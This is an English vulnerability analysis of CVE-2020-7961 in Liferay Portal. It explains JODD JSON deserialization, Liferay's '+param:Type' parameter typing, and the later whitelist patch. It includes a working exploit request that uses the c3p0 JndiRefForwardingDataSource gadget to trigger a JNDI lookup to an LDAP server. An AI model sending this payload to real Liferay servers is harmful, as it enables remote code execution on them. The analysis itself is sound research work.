Liferay Portal Json Web Service Deserialization Vulnerability (CVE-2020-7961) Analysis
Author:Longofo@Knownsec 404 Team
Time: March 27, 2020
Chinese version:https://paper.seebug.org/1162/
A vulnerability on Liferay Portal JSON Web Service RCE was previously posted on CODE WHITE. At first, my friends were dealing with this vulnerability, and I went to see it later. Liferay Portal uses Flexjson library for JSON Web Service processing in 6.1 and 6.2 versions, and replaced it with Jodd Json after version 7.
In summary, the vulnerability is: Liferay Portal provides Json Web Service service. For some endpoints that can be called, if a method provides Object parameter type, then we can construct an exploitable malicious class that conforms to Java Beans and pass the constructed json deserialization string, Liferay will automatically call the setter method of the malicious class and the default constructor when deserializing. However, there are still some details, and I feels quite interesting. In this article, the analysis of Liferay using JODD deserialization.
JODD Serialization And Deserialization
Refer to the Official User Manual, first look at the direct serialization and deserialization of JODD:
TestObject.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
package com.longofo; import java.util.HashMap; public class TestObject { private String name; private Object object; private HashMap<String, String> hashMap; public TestObject() { System.out.println("TestObject default constractor call"); } public String getName() { System.out.println("TestObject getName call"); return name; } public void setName(String name) { System.out.println("TestObject setName call"); this.name = name; } public Object getObject() { System.out.println("TestObject getObject call"); return object; } public void setObject(Object object) { System.out.println("TestObject setObject call"); this.object = object; } public HashMap<String, String> getHashMap() { System.out.println("TestObject getHashMap call"); return hashMap; } public void setHashMap(HashMap<String, String> hashMap) { System.out.println("TestObject setHashMap call"); this.hashMap = hashMap; } @Override public String toString() { return "TestObject{" + "name='" + name + '\'' + ", object=" + object + ", hashMap=" + hashMap + '}'; } } |
TestObject1.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
package com.longofo; public class TestObject1 { private String jndiName; public TestObject1() { System.out.println("TestObject1 default constractor call"); } public String getJndiName() { System.out.println("TestObject1 getJndiName call"); return jndiName; } public void setJndiName(String jndiName) { System.out.println("TestObject1 setJndiName call"); this.jndiName = jndiName; // Context context = new InitialContext(); // context.lookup(jndiName); } } |
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
package com.longofo; import jodd.json.JsonParser; import jodd.json.JsonSerializer; import java.util.HashMap; public class Test { public static void main(String[] args) { System.out.println("test common usage"); test1Common(); System.out.println(); System.out.println(); System.out.println("test unsecurity usage"); test2Unsecurity(); } public static void test1Common() { TestObject1 testObject1 = new TestObject1(); testObject1.setJndiName("xxx"); HashMap hashMap = new HashMap<String, String>(); hashMap.put("aaa", "bbb"); TestObject testObject = new TestObject(); testObject.setName("ccc"); testObject.setObject(testObject1); testObject.setHashMap(hashMap); JsonSerializer jsonSerializer = new JsonSerializer(); String json = jsonSerializer.deep(true).serialize(testObject); System.out.println(json); System.out.println("----------------------------------------"); JsonParser jsonParser = new JsonParser(); TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class); System.out.println(dtestObject); } public static void test2Unsecurity() { TestObject1 testObject1 = new TestObject1(); testObject1.setJndiName("xxx"); HashMap hashMap = new HashMap<String, String>(); hashMap.put("aaa", "bbb"); TestObject testObject = new TestObject(); testObject.setName("ccc"); testObject.setObject(testObject1); testObject.setHashMap(hashMap); JsonSerializer jsonSerializer = new JsonSerializer(); String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject); System.out.println(json); System.out.println("----------------------------------------"); JsonParser jsonParser = new JsonParser(); TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json); System.out.println(dtestObject); } } |
Output:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
test common usage TestObject1 default constractor call TestObject1 setJndiName call TestObject default constractor call TestObject setName call TestObject setObject call TestObject setHashMap call TestObject getHashMap call TestObject getName call TestObject getObject call TestObject1 getJndiName call {"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}} ---------------------------------------- TestObject default constractor call TestObject setHashMap call TestObject setName call TestObject1 default constractor call TestObject1 setJndiName call TestObject setObject call TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}} test unsecurity usage TestObject1 default constractor call TestObject1 setJndiName call TestObject default constractor call TestObject setName call TestObject setObject call TestObject setHashMap call TestObject getHashMap call TestObject getName call TestObject getObject call TestObject1 getJndiName call {"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}} ---------------------------------------- TestObject1 default constractor call TestObject1 setJndiName call TestObject default constractor call TestObject setHashMap call TestObject setName call TestObject setObject call TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}} |
In Test.java, two ways are used. First one is the commonly used way. The root type is specified when deserializing. The second official does not recommend this,security issues are exist. Assume up this application provides a place to receive JODD Json, and uses the second way, you can deserialize any type specified。The Liferay vulnerability is not caused by this reason, because it does not use setClassMetadataName("class")
.
Liferay's Packaging For JODD
Liferay does not directly use JODD for processing, but repackages some functions of JODD. The code is not long, so we will use JODD separately to analyze Liferay's packaging of JsonSerializer and JsonParser.
JSONSerializerImpl
Liferay's wrapper for JODD JsonSerializer is the com.liferay.portal.json.JSONSerializerImpl
class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
public class JSONSerializerImpl implements JSONSerializer { private final JsonSerializer _jsonSerializer;//JODD's JsonSerializer was finally handed over to JODD's JsonSerializer for processing, but it wrapped some additional settings public JSONSerializerImpl() { if (JavaDetector.isIBM()) {//Judging the JDK SystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class } this._jsonSerializer = new JsonSerializer(); } public JSONSerializerImpl exclude(String... fields) { this._jsonSerializer.exclude(fields);//Exclude a field from being serialized return this; } public JSONSerializerImpl include(String... fields) { this._jsonSerializer.include(fields);//Include a field to serialize return this; } public String serialize(Object target) { return this._jsonSerializer.serialize(target);//Call JODD's JsonSerializer for serialization } public String serializeDeep(Object target) { JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//After setting deep, you can serialize any type of field, including types such as collections return jsonSerializer.serialize(target); } public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//Setting the converter is similar to setting the global converter below, but you can pass in a custom converter here (for example, the data field of a class is formatted as 03/27/2020, and it is converted to 2020-03- when serialized 27) TypeJsonSerializer<?> typeJsonSerializer = null; if (jsonTransformer instanceof TypeJsonSerializer) { typeJsonSerializer = (TypeJsonSerializer)jsonTransformer; } else { typeJsonSerializer = new JoddJsonTransformer(jsonTransformer); } this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer); return this; } public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) { TypeJsonSerializer<?> typeJsonSerializer = null; if (jsonTransformer instanceof TypeJsonSerializer) { typeJsonSerializer = (TypeJsonSerializer)jsonTransformer; } else { typeJsonSerializer = new JoddJsonTransformer(jsonTransformer); } this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer); return this; } static { //Global registration. For all Array, Object, and Long data, they are converted separately during serialization. JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer()); JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer()); JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer()); JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer()); } private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> { private LongToStringTypeJSONSerializer() { } public void serialize(JsonContext jsonContext, Long value) { jsonContext.writeString(String.valueOf(value)); } } private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> { private JSONObjectTypeJSONSerializer() { } public void serialize(JsonContext jsonContext, JSONObject jsonObject) { jsonContext.write(jsonObject.toString()); } } private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> { private JSONArrayTypeJSONSerializer() { } public void serialize(JsonContext jsonContext, JSONArray jsonArray) { jsonContext.write(jsonArray.toString()); } } } |
It can be seen that some functions of the JODD JsonSerializer are set during serialization.
JSONDeserializerImpl
Liferay's wrapper for JODD JsonParser is the com.liferay.portal.json.JSONDeserializerImpl
class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
public class JSONDeserializerImpl<T> implements JSONDeserializer<T> { private final JsonParser _jsonDeserializer;//JsonParser, the deserialization was finally handed over to JsonParser by JODD for processing. JSONDeserializerImpl wraps some additional settings public JSONDeserializerImpl() { if (JavaDetector.isIBM()) {//Judging the JDK SystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class } this._jsonDeserializer = new PortalJsonParser(); } public T deserialize(String input) { return this._jsonDeserializer.parse(input);//Call JDD Parson of JODD for deserialization } public T deserialize(String input, Class<T> targetType) { return this._jsonDeserializer.parse(input, targetType);//Call JDD Parson of JODD for deserialization, you can specify the root type (rootType) } public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//Converter used when deserializing ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer); this._jsonDeserializer.use(field, valueConverter); return this; } public JSONDeserializer<T> use(String path, Class<?> clazz) { this._jsonDeserializer.map(path, clazz);//Specify a specific type for a field, for example, filed is a type of interface or object in a class, and specific when deserializing return this; } } |
It can be seen that some functions of the JODD JsonParser are also set when deserializing.
Liferay Vulnerability Analysis
Liferay provides hundreds of webservices that can be called in the /api/jsonws
API. The servlet responsible for processing the API is also directly configured in web.xml:
look at this methods:
Seeing this, something occur.We can pass parameters for method calls. There are p_auth for verification, but deserialization is before verification, so that value does not works for exploit. According to the analysis of CODE WHITE, there are method parameters with parameter type Object, so guess that we can pass in any type of class. We can first debug the normal packet capture call to debug, and here does not write the normal call debugging process, simply look at the post parameters:
1 |
cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true |
In general, Liferay first finds the method corresponding to /announcementsdelivery/update-delivery
-> other post parameters are method parameters-> when each parameter object type is consistent with the target method parameter type-> Restore the parameter object-> call this method with reflection. However, there is no type specification for packet capture, because most types are String, long, int, List, map and others,JODD will automatically handle it when deserializing. In this section,how to specify a specific type?
The author mentioned in the article that Liferay Portal 7 can only specified rootType for invocation. This is also the case from the above Liferay's JODD JSONDeserializerImpl packaging
. If you want to restore a specific object when a method parameter is of type Object,maybe it will parse the data, obtain the specified type, and then call the parse (path, class) method of JODD using specific type to restore it ;maybe Liferay not do. However, it can be seen from the author's analysis that Liferay did. The author looked up the call graph of jodd.json.Parser#rootType
(envy such a tool):
looking up this, the author found a place where a root type could be specified. In com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
call the com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType )
, looseDeserialize calls JSONSerializerImpl, and JSONSerializerImpl calls JODD's JsonParse.parse
.
And the call on com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
is the process of Liferay parsing the Web Service parameters. Its upper levelJSONWebServiceActionImpl#_prepareParameters(Class <?>)
, The JSONWebServiceActionImpl class has a _jsonWebServiceActionParameters
attribute:
This property also holds a JSONWebServiceActionParametersMap
. In its method, when the parameter starts with+
, its put method splits the passed parameters with:
, before :
is parameter name,after :
is type name:
The put parsing operation is completed in com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction # _executeStatement
:
Through the above analysis and author's article, we can know the following points:
- Liferay allows us to call web service methods via
/api/jsonws/xxx
- The parameter can start with
+
, use:
to specify the parameter type - JODD JsonParse will call the class's default constructor and the setter method corresponding to the field
So we need to find the class that has malicious operations in the setter method or the default constructor. Look at the exploitation chain that marshalsec has provided,we can directly find the inherited exploitation chain. Most of them are also suitable for this vulnerability,it also depends on whether it exists in Liferay. Here are the test com.mchange.v2.c3p0.JndiRefForwardingDataSource
, use the service/expandocolumn/add-column
, because it has java.lang.Object
parameter:
Payload is as follows:
1 |
cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0} |
Parsed the parameter type, deserialized the parameter object, and finally reached the jndi query:
Patch Analysis
Liferay patch adds type checking, in com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl # _checkTypeIsAssignable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) { String parameterTypeName = parameterType.getName(); if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法 throw new IllegalArgumentException("Not instantiating " + parameterTypeName); } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验 if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类 throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos})); } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验 if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验 if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验,白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中 ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences(); if (serviceReferences != null) { String key = "jsonws.web.service.parameter.type.whitelist.class.names"; ServiceReference[] var7 = serviceReferences; int var8 = serviceReferences.length; for(int var9 = 0; var9 < var8; ++var9) { ServiceReference<Object> serviceReference = var7[var9]; List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key)); if (whitelistedClassNames.contains(parameterTypeName)) { return; } } } throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated"); } } } } } |
_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES
contains all whitelist classes in portal.properties
. Basically, all whitelist classes start with com.liferay
.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1163/